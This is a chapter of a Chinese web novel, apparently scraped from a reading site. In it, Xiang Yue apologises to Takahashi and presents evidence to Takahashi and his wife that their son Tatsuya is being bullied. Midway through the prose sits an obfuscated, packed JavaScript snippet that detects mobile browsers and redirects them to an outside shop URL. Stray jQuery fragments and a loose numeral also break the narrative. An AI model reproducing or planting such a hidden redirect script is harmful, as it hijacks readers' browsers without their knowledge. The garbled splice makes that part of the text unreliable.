自己之前所做过的行为、话语也就是一砖一瓦、一点一滴,都会酿成不同的后果。 这之后,在婆婆面馆里被直酱批评的“每次都在突兀的时候打断别人的话”也灵验了。虽然这之后直酱表示自己的行为给她带来了欢乐,但报应现在真的来了。 相越暗想自己就如直酱所说真的太冲动了。他本想叹气,但一个叹气都有可能给对方留下自己并不诚恳的态度。更何况刚刚他确实没有任何诚意,虽说做好心理准备,但还是不禁把对方放在一个比较低的位置。现在果然只能…… “对不起,我为取笑你伤势的行为致以最大程度的歉意。真的非常抱歉。”相越低下头来,诚恳地道歉,这件事他确实做错了。 这和为了得到对弱者的征服而作出排挤行为的强者毫无区别。如此一来,他还有资格说服高桥夫妇吗? 一直以来,对他人毫不理会、只想对自己在意的人伸出援手的他真的可以吗? 现在面对高桥,相越已经无法做到毫无波澜了。自己是加害者这个事实,以及加害者真的能获得受害者的原谅吗?这个疑问深深地铭刻在他的心中。 相越一直沉默低着头,高桥抿着嘴不说话,达也则是对这个突如其来的状况不知所措,满脑子都是疑问。 “这边才是,非常抱歉。不,谢谢你帮我们找出了煤气爆炸案的凶手,让我们免受生命威胁。至于之后发生的事,还有被嘲笑的事,是我丈夫的自作自受。” 渡边昭子打破几人的沉默,缓缓地托着食物走过来,放到桌上,坐到高桥旁边,按住他蠢蠢欲动的嘴:“有事的话,待会儿再说。厨艺一般,请见谅。那么,我们开饭吧。” 渡边昭子雷厉风行的行动镇住了几人,心中还有疑问的他们只能乖乖地拿起筷子:“我开动了。” 刚才渡边昭子说高桥只是自作自受,但这个理由并不能说服相越。他明白渡边昭子只是作为在场除了他之外最擅长社交的人,缓和了在场的气氛。 事实上,就算高桥有错,自己也不能因此加害于他。能报复他的只有受害人,也就是皐月会社的员工。岩田浩毫无疑问具备这个资格,只是过火了,伤害到无辜的人。 至于岩田的罪是否应该偿命,相越既不是设立法律的人,又不是至高无上的女神,更不是高桥,无法定夺他的罪,也无法决定接受并原谅对方。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496116|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法律已经下达裁决的这刻,他只能在监狱漫长的等待中死亡以及赎罪了。 而相越的过错还没上升到违法的地步,所以应该由当事人高桥决定。同理,达也也是,他的痛苦不应该由相越这个外人述说。相越根本不能完全理解,只能用同理心推测,基本上他什么都做不到,除了默默支持以外。 得益于麻辣鸭血的经验,相越在他人看来表现得非常自然,实际口中却是机器式快速塞满可口的饭菜。因为烦恼未能仔细品尝,却违心对着渡边昭子称赞道:“好吃!再来一碗!” 心中却是无比的懊悔,悔恨当初如此轻易擅自自顾自做决定,没和达也商量,动用了大人的权利。得益于现在达也对你的信任,但也许会在自己一次次的行为中消耗殆尽。 因此,这一刻,相越绝不能退缩,就算失败了也要尝试。这样才不会辜负达也对你的信任。 食不言寝不语,几人静默着享用渡边昭子制作的美味料理。 有人享用完料理后,说道:“我吃完了。” 6 就继续逗留在客厅。 也有人享用完料理后,说道:“我吃完了。” 去过洗手间,就回到客厅等待。 直到所有人说出:“我吃完了。” 整理完所有的事情,相越才在三人的视线下,开始讲述自己在吃饭时整理过的话语。 他先是侧过身:“达也君,我可以把那些地方给你的父母看吗?” 达也顺从地点头,把身体任由相越捣鼓。 相越心中叹气一声,揭开胸口的位置、手臂这些平时被衣服遮盖、外人看不到但也不算是隐秘的地方,给高桥夫妇观察。 两人先是一惊,后是逐渐变得严肃的面容。性格比较冲动的高桥压不住怒气,骂道:“这是谁干的?” “匠平,冷静一下。先听相越桑说完。”渡边昭子把手放在丈夫前方,劝说道。 “不知你们是否有留意到这些伤口都有一些共同和特别之处。”相越又开始了比较能接受的提问方式。 两人摇摇头。 相越用手指指出其中深浅不一的几处淤血:“它们的颜色有的较深,有的较浅。可以看出来是不同的时间造成的。换句话说,这不是短期内的暴力行为,而是长期的。” “但是那个时间较早的,不能是因为意外受伤吗?”渡边昭子提问道。 闻言,达也的眼神暗淡下来。 “如果是意外受伤,极低可能造成多处淤血,且都在这些不易被外人察觉的地方。这就是第二个我认为渡边达也遭到了暴力行为伤害的原因。再加上,我曾亲眼目睹达也君被一群学生堵在边角处,随意打骂以此作乐的场景。” “这就是你要说的事情吗?”高桥问道,说完后觉得还不够,又加了一句:“如果是这样就快走吧。虽然我公司被收购了,但我并不是这么容易被人欺负的。所以接下来的事情你不用管了。” 也许是因为关系到他的儿子,所以没有让他滚了,这已经是一个进步了。相越笑了笑,继续道:“很遗憾的是,这并不是全部。今天我在学校忙里偷闲,看到了令人印象深刻的几幕。” “什么?”相越故意停顿,留下悬念,让高桥好奇地问道。 “达也君虽然一直都在教室里,旁边也有人群,还有人前去挑衅、嘲笑他。但其他学生却是无论何时何地都在无视他,当他是空气。按理说不可能这样啊,所以我认为达也君是被排挤了。” “为什么?” “哈,这肯定是因为达也做错了什么事,才导致所有人都讨厌他吧。” 渡边昭子冷静地询问相越原因,而高桥却是直接就下了判断,认为都是达也的问题。 情况如相越所想,果然是这套理论。但渡边昭子出乎意料地冷静接受了这一切,也有可能是她习惯于喜怒不形于色。不管是哪种情况,都比他想象中最糟的情况要好多了。 接下来要说的,相越也一概不了解,只能交给当事人达也了。 相越不再看向两人,而是直视达也,一字一句郑重地说:“达也君,接下来可以交给你吗?比起外人,这些事情你会更了解。不过请你放心,我会在一旁协助你的。”